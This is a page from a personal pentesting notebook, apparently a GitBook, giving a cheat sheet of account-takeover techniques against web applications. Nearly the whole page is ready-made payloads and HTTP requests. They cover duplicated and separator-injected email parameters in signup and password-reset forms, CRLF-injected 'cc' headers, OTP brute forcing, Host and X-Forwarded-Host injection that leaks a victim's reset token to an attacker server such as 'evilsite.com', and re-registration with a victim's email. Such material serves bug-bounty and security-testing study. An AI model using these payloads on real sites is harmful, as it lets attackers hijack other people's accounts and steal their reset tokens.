The Nen-Book
LinkedinTwitterMediumGithubHTB
  • Whoami
  • Walkthroughs & Writeups
    • My CTF Methodology
    • Hack The Box Machines
      • Administrator
      • Escape two
      • Cicada
      • HTB Permx Machine(CVE-2023–4220 Chamilo LMS)
    • Intigriti 1337Up 2024
      • Intigriti 1337Up 2024-CTF OSINT Challenges
      • Intigriti 1337Up Live 2024-CTF Web Challenges
    • CyCTF Quals 2024
      • OSINT Challenges CyCTF Quals 2024
      • Old Friend OSINT Challenge CyCTF 2024 Quals Writeup
    • PicoCTF
      • PicoCTF 2024 Web Exploitation Challenges
      • PicoCTF 2024 General Skills Challenges
      • PicoCTF 2021 Web Exploitation Challenges Walkthrough
      • PicoCTF 2019 Web Exploitation Challenges
  • Web_AppSec
    • Web_Recon
    • SQli
    • ATO
    • Backend_Technology_Tricks
    • XSS
    • SSRF
    • CSRF
    • XXE
    • SSTI
    • Insecure_Deserialization
    • Open_Redirects
    • Information_Disclosures
    • Rate_Limiting
    • Clickjacking
    • Broken Access Control & IDORS
    • Bash_Scripting
    • Authentication_Vulnerabilities
    • App_Logic_Errors
  • Network & AD Pentesting
    • Scanning & Enumeration
    • Active_Directory
      • AD_Overview_&_ Lab Build
      • AD_Initial_Attack_Vectors
      • AD_Post-Compromise_Enumeration
      • AD_Post-Compromise_Attacks
    • Buffer_Overflow_Attacks
    • Web_Applications
    • Privilege_Escalation
  • Cloud_Security
    • AWS Pentesting
  • APISec
    • API_Recon
    • Broken_Access_Control & Info_Leaks
  • Code_Review
    • Source_Code_Review_101
    • Code Review Tools
  • Bug_Hunting
    • Picking_A_BugBounty_Program
    • Writing_A_Good_Report
  • MITRE ATT&CK
    • Introducing the ATT&CK Framework
    • MITRE Engenuity
    • Threat-Informed Defense
Powered by GitBook
On this page
  • Through Email Replacing when Registering Account (testing/abuse email filter)
  • Through Parameter Pollution in Reset Password
  • Through OTP Code Bruteforce
  • Through Host Header Injection
  • Using Separator in Value of the Parameter
  • Try input No Domain in Value of the Parameter to Account Takeover
  • Try input No TLD in Email Value of the Parameter
  • Try Re-Sign up using Same Email
  • If there is JSON data in requests, add comma and input your hacker email

Was this helpful?

Edit on GitHub
  1. Web_AppSec

ATO

Through Email Replacing when Registering Account (testing/abuse email filter)

email@email.com,victim@hack.secry
email@email“,”victim@hack.secry
email@email.com:victim@hack.secry
email@email.com%0d%0avictim@hack.secry
%0d%0avictim@hack.secry
%0avictim@hack.secry
victim@hack.secry%0d%0a
victim@hack.secry%0a
victim@hack.secry%0d
victim@hack.secry%00
victim@hack.secry{{}}

Example Request:

name=HACKER&email=HACKER@wearehackerone.com&email=victim@hack.secry&username=hackerz&password=THIS_ISPASSWORD_TO_TAKEOVER&password-confirmation=THIS_ISPASSWORD_TO_TAKEOVER&_csrf_token=XXX7139a5209c08aec2dbff06f5ab5XXXXXXXXXX

Through Parameter Pollution in Reset Password

POST /passwordReset  
[…]  
email=victim@yahoo.com&email=hacker@yahoo.com

or in JSON:
{“email”:[“andrew@hotmail.com”,”hacker@gmail.com”]}

Through OTP Code Bruteforce

POST /reset  
[…]  
email=victim@mail.com&code=$12345$

u can use burp intruder

Through Host Header Injection

POST /reset  
Host: evilsite.com  
[…]  
email=victim@mail.com
------------------------------------------------------------------------
POST /reset  
Host: target.com  
X-Forwarded-Host: evil.com  
[…]  
email=victim@mail.com

And the victim will receive the reset link email with with “token” will contain “evilsite.com“, so when the user click the link, the “token” will logged/extracted to the evilsite.com server log

Using Separator in Value of the Parameter

POST /PWreset  
[…]  
email=victim@mail.com**,**hacker@mail.com
----------------------------------------------------------------------------------
POST /PWreset  
[…]  
email=victim@mail.com**%20**hacker@mail.com
----------------------------------------------------------------------------------
POST /PWreset  
[…]  
email=victim@mail.com**|**hacker@mail.com
----------------------------------------------------------------------------------
POST /PWreset  
[…]  
email=victim@mail.com**%00**hacker@mail.com

Try input No Domain in Value of the Parameter to Account Takeover

POST /registeraccount  
[…]  
email=victimemail

Try input No TLD in Email Value of the Parameter

POST /reset  
[…]  
email=victimemail@mail.secry
----------------------------------------------------------------------------------
POST /reset  
[…]  
[email=victim@mail.com%0a%0dcc:hacker@secry.me](https://email%3Dvictim%40mail.com%0a%0dcc:hacker@secry.me/)

Try Re-Sign up using Same Email

POST /newaccount  
[…]  
email=victim@secry.me&password=1234

After sign up using victim email, try signup again but using different password

POST /newaccount  
[…]  
email=victim@secry.me&password=yourehacked

If there is JSON data in requests, add comma and input your hacker email

POST /newaccount  
[…]  
{“email”:“[victim@mail.com](mailto:victim@mail.com)”,”[hacker@secry.me](mailto:hacker@secry.me)”,“token”:”xxxxxxxxxx”}
PreviousSQliNextBackend_Technology_Tricks

Last updated 8 months ago

Was this helpful?